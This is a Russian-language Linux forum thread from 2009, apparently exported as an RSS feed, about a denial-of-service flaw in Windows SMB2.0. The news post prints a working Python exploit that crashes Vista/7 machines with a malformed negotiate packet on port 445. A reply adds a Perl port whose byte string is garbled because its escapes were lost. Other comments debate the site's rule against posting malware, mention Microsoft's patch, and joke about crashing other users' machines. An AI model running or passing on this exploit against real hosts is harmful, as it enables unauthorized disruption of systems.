rulinux.net - Новости - Коммерческое ПО - Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее http://rulinux.net/ rulinux.net - Новости - Коммерческое ПО - Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее http://rulinux.net/ http://rulinux.net/rss_icon.png Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23564 https://rulinux.net/message.php?newsid=4287&page=1#23564 Mon, 21 Sep 2009 14:34:20 +0400 s/$socket\ =/my\ $socket\ =/

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23563 https://rulinux.net/message.php?newsid=4287&page=1#23563 Mon, 21 Sep 2009 12:16:53 +0400  http://paste.org.ru/?w7g6a9 Вот короче.

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23562 https://rulinux.net/message.php?newsid=4287&page=1#23562 Mon, 21 Sep 2009 12:15:07 +0400
perl
#!/usr/bin/perl

use IO::Socket;
use warnings;
use strict;

my $buff="".
"x00x00x00x90".
"xffx53x4dx42".
"x72x00x00x00".
"x00x18x53xc8".
"x00x26".# Process ID High: --> normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe".
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54".
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31".
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00".
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57".
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61".
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c".
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c".
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e".
"x30x30x32x00";

$socket = IO::Socket::INET->new(PeerAddr => "127.0.0.1", # Измени это, ССЗБ
                                PeerPort => "445",
                                Proto    => "tcp",
                                Type     => SOCK_STREAM)
          or die "Could not connect to remote host: $@ ";

print $socket $buff;

print "Now check if that machine works :D ";
 

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23561 https://rulinux.net/message.php?newsid=4287&page=1#23561 Fri, 18 Sep 2009 08:35:20 +0400 Щитаю эксплойты в новостях дурным тоном. Новость о дыре - гуд. А эксплойт пусть детки сами ищут. Ну можно на форум выгрузить, раз зудит и чешется. Но не на глагну же.

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23560 https://rulinux.net/message.php?newsid=4287&page=1#23560 Wed, 16 Sep 2009 13:17:31 +0400 но для икспи и в2к не работает  http://lor-ng.org/message.php?newsid=4350

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23559 https://rulinux.net/message.php?newsid=4287&page=1#23559 Thu, 10 Sep 2009 11:18:47 +0400 уже есть патчик  http://www.microsoft.com/technet/security/Bulletin/MS09-048.mspx

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23558 https://rulinux.net/message.php?newsid=4287&page=1#23558 Wed, 09 Sep 2009 22:22:58 +0400 а что за фирма такая - "микросовт"?

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23557 https://rulinux.net/message.php?newsid=4287&page=1#23557 Wed, 09 Sep 2009 20:17:21 +0400 >>Но при чём здесь Linux?
Как это при чём? -> #!/usr/bin/python

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23556 https://rulinux.net/message.php?newsid=4287&page=1#23556 Wed, 09 Sep 2009 13:47:04 +0400 Ну так он и под джаву есть, только кто его ставит. Разве что какие-нибудь маргиналы

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23555 https://rulinux.net/message.php?newsid=4287&page=1#23555 Wed, 09 Sep 2009 13:30:13 +0400 > на ✞-джаве. Для кроссплатформенности
Дык для виндоза вродь питон же есть.

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23554 https://rulinux.net/message.php?newsid=4287&page=1#23554 Wed, 09 Sep 2009 12:47:40 +0400 > и почему не на Ъ-перле?
Воще должна быть на ✞-джаве. Для кроссплатформенности. Что бы пользователи любых операционных систем имели возможность самостоятельно убедиться в ненадёжности виндовса.

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23553 https://rulinux.net/message.php?newsid=4287&page=1#23553 Wed, 09 Sep 2009 12:33:49 +0400 и почему не на Ъ-перле?

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23552 https://rulinux.net/message.php?newsid=4287&page=1#23552 Wed, 09 Sep 2009 12:31:04 +0400 Это конечно здорово. Но при чём здесь Linux?

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23551 https://rulinux.net/message.php?newsid=4287&page=1#23551 Wed, 09 Sep 2009 11:29:38 +0400 > Я протестировал - работает)))
Напиши авторам эксплойта благодарственное письмо.

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23550 https://rulinux.net/message.php?newsid=4287&page=1#23550 Wed, 09 Sep 2009 11:20:40 +0400 >Win Server 2008 поскольку тот использует SMB2.0 (не тестировался).
Я протестировал - работает)))

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23549 https://rulinux.net/message.php?newsid=4287&page=1#23549 Wed, 09 Sep 2009 07:54:29 +0400 педалезно

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23548 https://rulinux.net/message.php?newsid=4287&page=1#23548 Tue, 08 Sep 2009 21:13:29 +0400 >Ножик нужен чтобы колбаску резать итп. А вот этот скрипт создан только для порчи нервов вендузятникам. а с чего ты взял что он создан именно для порчи, а не, скажем, для наглядности?

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23547 https://rulinux.net/message.php?newsid=4287&page=1#23547 Tue, 08 Sep 2009 19:44:49 +0400 >>порчи нервов вендузятникам так и надо, этим ежикам - пускай ищут альтернативу винде.

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23546 https://rulinux.net/message.php?newsid=4287&page=1#23546 Tue, 08 Sep 2009 18:25:46 +0400 > Ножики знаешь ли тоже в магазине продают Ножик нужен чтобы колбаску резать итп. А вот этот скрипт создан только для порчи нервов вендузятникам.

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23545 https://rulinux.net/message.php?newsid=4287&page=1#23545 Tue, 08 Sep 2009 17:17:58 +0400 > Не меня,а того, кто отправил Вот видишь, а у тебя какие-то претензии к коду.. Ножики знаешь ли тоже в магазине продают. Хотя казалось бы предмет зловредный: ведь им можно покалечить какого-нибудь вендузятника.. Но ведь продают же..

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23544 https://rulinux.net/message.php?newsid=4287&page=1#23544 Tue, 08 Sep 2009 16:45:09 +0400 нет, полезный. Он отсылает правильный запрос, который совершает нужное дело - вендекапец!

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23543 https://rulinux.net/message.php?newsid=4287&page=1#23543 Tue, 08 Sep 2009 16:36:15 +0400 > А с чего ты взял, что это SMB-запрос? Можно же взять твой пост и отправить кому-нить на порт, на котором обычно висит самба - и что, на этом основании тебя следует признать вредоносным анонимусом? Не меня,а того, кто отправил. В случае, если он положил чужую систему умышленно.

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23542 https://rulinux.net/message.php?newsid=4287&page=1#23542 Tue, 08 Sep 2009 16:17:50 +0400 > неправильный смб-запрос А с чего ты взял, что это SMB-запрос? Можно же взять твой пост и отправить кому-нить на порт, на котором обычно висит самба - и что, на этом основании тебя следует признать вредоносным анонимусом?

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23541 https://rulinux.net/message.php?newsid=4287&page=1#23541 Tue, 08 Sep 2009 15:28:59 +0400 > да и скрипт то не вредоносный, т.к. всего-лишь отсылает смб-запрос, а то ты щас и пинг к вредоносному по приравняешь. Скрипт какраз вредоносный, так как отсылает неправильный смб-запрос.

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23540 https://rulinux.net/message.php?newsid=4287&page=1#23540 Tue, 08 Sep 2009 14:25:10 +0400 да и скрипт то не вредоносный, т.к. всего-лишь отсылает смб-запрос, а то ты щас и пинг к вредоносному по приравняешь.

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23539 https://rulinux.net/message.php?newsid=4287&page=1#23539 Tue, 08 Sep 2009 14:04:08 +0400 >3. Сообщения подлежат немедленному удалению, если: ... 5. Содержат ссылки на вредоносное ПО нет, это статья о дыре в смб, в которой, для пущей наглядности, есть питоновский скрипт.

]]> Re: Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23538 https://rulinux.net/message.php?newsid=4287&page=1#23538 Tue, 08 Sep 2009 13:57:31 +0400 > ссылки на вредоносное ПО Это полезнетворное ПО, не следует путать :)

Кстати, я же говорил, что правила нахуй не нужны :))

]]> Господа, это 3.5 https://rulinux.net/message.php?newsid=4287&page=1#23537 https://rulinux.net/message.php?newsid=4287&page=1#23537 Tue, 08 Sep 2009 13:36:22 +0400 3. Сообщения подлежат немедленному удалению, если: ... 5. Содержат ссылки на вредоносное ПО

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23536 https://rulinux.net/message.php?newsid=4287&page=1#23536 Tue, 08 Sep 2009 13:22:47 +0400 А ты попробуй, узнаешь. Тока пробуй из висты или семерки.

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23535 https://rulinux.net/message.php?newsid=4287&page=1#23535 Tue, 08 Sep 2009 13:21:13 +0400 Это твой айпи ;)

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23534 https://rulinux.net/message.php?newsid=4287&page=1#23534 Tue, 08 Sep 2009 12:57:15 +0400 бедон на венде нужен?

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23533 https://rulinux.net/message.php?newsid=4287&page=1#23533 Tue, 08 Sep 2009 12:33:50 +0400 127.0.0.1

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23532 https://rulinux.net/message.php?newsid=4287&page=1#23532 Tue, 08 Sep 2009 12:31:20 +0400 Ха, у меня есть nuke.exe, дайте айпи какого-нибудь ламера!

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23531 https://rulinux.net/message.php?newsid=4287&page=1#23531 Tue, 08 Sep 2009 11:26:49 +0400 Не буду. Не дал пользователям возможность править посты - вот сам и правь. И минимальный хелп можно было бы сунуть на форму ввода, или хотя бы ссылку на него.

me в бешенстве ищет чего бы сломать

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23530 https://rulinux.net/message.php?newsid=4287&page=1#23530 Tue, 08 Sep 2009 11:15:48 +0400 новости пока никак. создай новую и для подсветки используй тег begin{highlight} как указано тут http://www.lor-ng.org/page.php?id=2

]]> Re: Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23529 https://rulinux.net/message.php?newsid=4287&page=1#23529 Tue, 08 Sep 2009 11:12:52 +0400 блять.. Как отредактировать своё сообщение?

]]> Опубликована программка на пятоне, реализующая вендекапец для любой машины под вистой и новее https://rulinux.net/message.php?newsid=4287&page=1#23528 https://rulinux.net/message.php?newsid=4287&page=1#23528 Tue, 08 Sep 2009 11:10:56 +0400 Как оказалось, виндовая реализация SMB2.0, поставляемая со всеми новыми поделками микросовта начиная с висты, выносит систему в BSOD при получении [не]правильно сформированного запроса на инициализацию сеанса связи (т.е. привилегии на этой стадии не нужны).

Системы, подверженные капцу: Windows Vista/7 All (64b/32b|SP1/SP2 проапдейченные до последних версий) и, возможно, Win Server 2008 поскольку тот использует SMB2.0 (не тестировался).

Код:

python
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
 

]]>